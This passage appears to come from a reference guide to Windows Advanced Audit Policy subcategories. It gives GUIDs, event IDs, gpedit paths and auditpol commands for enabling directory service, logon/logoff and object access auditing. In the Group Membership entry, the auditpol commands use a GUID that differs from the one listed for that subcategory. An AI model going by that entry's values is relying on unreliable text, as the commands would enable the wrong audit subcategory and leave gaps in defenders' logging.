/set /subcategory:{0CCE923B-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-directory-service-access)\n\n#### Directory Service Changes\n\n- Subcategory GUID: `{0CCE923C-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High on Domain Controllers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `5136`\n - `5137`\n - `5138`\n - `5139`\n - `5141`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - DS Access\n - Audit Directory Service Changes\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE923C-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE923C-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-directory-service-changes)\n\n#### Directory Service Replication\n\n- Subcategory GUID: `{0CCE923D-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Medium on Domain Controllers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - `4932`\n - `4933`\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - DS Access\n - Audit Directory Service Replication\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE923D-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE923D-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-directory-service-replication)\n\n### Logon/Logoff\n\n#### Account Lockout\n\n- Subcategory GUID: `{0CCE9217-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4625\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit Account Lockout\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9217-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9217-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-account-lockout)\n\n#### User/Device Claims\n\n- Subcategory GUID: `{0CCE9247-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume:\n - `Low on a client computer.`\n - `Medium on a domain controller or network servers.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4626\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit User/Device Claims\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9247-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9247-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-user-device-claims)\n\n#### Group Membership\n\n- Subcategory GUID: `{0CCE9249-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume:\n - `Low on a client computer.`\n - `Medium on a domain controller or network servers.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4627\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit Group Membership\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE923F-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE923F-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-group-membership)\n\n#### IPsec Extended Mode\n\n- Subcategory GUID: `{0CCE921A-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4978\n - 4979\n - 4980\n - 4981\n - 4982\n - 4983\n - 4984\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit IPsec Extended Mode\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE921A-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE921A-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-ipsec-extended-mode)\n\n#### IPsec Main Mode\n\n- Subcategory GUID: `{0CCE9218-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4646\n - 4650\n - 4651\n - 4652\n - 4653\n - 4655\n - 4976\n - 5049\n - 5453\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit IPsec Main Mode\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9218-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9218-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-ipsec-main-mode)\n\n#### IPsec Quick Mode\n\n- Subcategory GUID: `{0CCE9219-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4977\n - 5451\n - 5452\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit IPsec Quick Mode\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9219-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9219-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-ipsec-quick-mode)\n\n#### Logoff\n\n- Subcategory GUID: `{0CCE9216-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4634\n - 4647\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit Logoff\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9216-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9216-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-logoff)\n\n#### Logon\n\n- Subcategory GUID: `{0CCE9215-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume:\n - `Low on a client computer.`\n - `Medium on a domain controllers or network servers.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4624\n - 4625\n - 4648\n - 4675\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit Logon\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9215-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9215-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-logon)\n\n#### Network Policy Server\n\n- Subcategory GUID: `{0CCE9243-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Medium to High on servers that are running Network Policy Server (NPS).`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 6272\n - 6273\n - 6274\n - 6275\n - 6276\n - 6277\n - 6278\n - 6279\n - 6280\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit Network Policy Server\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9243-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9243-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-network-policy-server)\n\n#### Other Logon/Logoff Events\n\n- Subcategory GUID: `{0CCE921C-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4649\n - 4778\n - 4779\n - 4800\n - 4801\n - 4802\n - 4803\n - 5378\n - 5632\n - 5633\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit Other Logon/Logoff Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE921C-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE921C-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-logonlogoff-events)\n\n#### Special Logon\n\n- Subcategory GUID: `{0CCE921B-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume:\n - `Low on a client computer.`\n - `Medium on a domain controllers or network servers.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4964\n - 4672\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Logon/Logoff\n - Audit Special Logon\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE921B-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE921B-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-special-logon)\n\n### Object Access\n\n#### Application Generated\n\n- Subcategory GUID: `{0CCE9222-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4665\n - 4666\n - 4667\n - 4668\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Application Generated\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9222-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9222-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-application-generated)\n\n#### Certification Services\n\n- Subcategory GUID: `{0CCE9221-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low to medium on servers that provide AD CS role services`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4868\n - 4869\n - 4870\n - 4871\n - 4872\n - 4873\n - 4874\n - 4875\n - 4876\n - 4877\n - 4878\n - 4879\n - 4880\n - 4881\n - 4882\n - 4883\n - 4884\n - 4885\n - 4886\n - 4887\n - 4888\n - 4889\n - 4890\n - 4891\n - 4892\n - 4893\n - 4894\n - 4895\n - 4896\n - 4897\n - 4898\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Certification Services\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9221-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9221-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-certification-services)\n\n#### Detailed File Share\n\n- Subcategory GUID: `{0CCE9244-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume:\n - `High on file servers.`\n - `High on domain controllers because of SYSVOL network access required by Group Policy.`\n - `Low on member servers and workstations.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 5145\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Detailed File Share\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9244-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9244-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-detailed-file-share)\n\n#### File Share\n\n- Subcategory GUID: `{0CCE9224-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume:\n - `High on file servers.`\n - `High on domain controllers because of SYSVOL network access required by Group Policy.`\n - `Low on member servers and workstations.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 5140\n - 5142\n - 5143\n - 5144\n - 5168\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit File Share\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9224-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9224-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-file-share)\n\n#### File System\n\n- Subcategory GUID: `{0CCE921D-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Varies, depending on how file system SACLs are configured`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4656\n - 4658\n - 4660\n - 4663\n - 4664\n - 4670\n - 4985\n - 5051\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit File System\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE921D-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE921D-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-file-system)\n\n#### Filtering Platform Connection\n\n- Subcategory GUID: `{0CCE9226-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 5031\n - 5150\n - 5151\n - 5154\n - 5155\n - 5156\n - 5157\n - 5158\n - 5159\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Filtering Platform Connection\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9226-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9226-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-connection)\n\n#### Filtering Platform Packet Drop\n\n- Subcategory GUID: `{0CCE9225-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 5152\n - 5153\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Filtering Platform Packet Drop\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9225-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9225-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-packet-drop)\n\n#### Handle Manipulation\n\n- Subcategory GUID: `{0CCE9223-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4658\n - 4690\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Handle Manipulation\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9223-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9223-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-handle-manipulation)\n\n#### Kernel Object\n\n- Subcategory GUID: `{0CCE921F-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4656\n - 4658\n - 4660\n - 4663\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Kernel Object\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE921F-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE921F-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-kernel-object)\n\n#### Other Object Access Events\n\n- Subcategory GUID: `{0CCE9227-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Medium to High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4671\n - 4691\n - 4698\n - 4699\n - 4700\n - 4701\n - 4702\n - 5148\n - 5149\n - 5888\n - 5889\n - 5890\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Other Object Access Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9227-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9227-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events)\n\n#### Registry\n\n- Subcategory GUID: `{0CCE921E-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low to Medium, depending on how registry SACLs are configured.`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4656\n - 4657\n - 4658\n - 4660\n - 4663\n - 4670\n - 5039\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Registry\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE921E-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE921E-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-registry)\n\n#### Removable Storage\n\n- Subcategory GUID: `{0CCE9245-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4656\n - 4658\n - 4663\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Removable Storage\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9245-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9245-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to 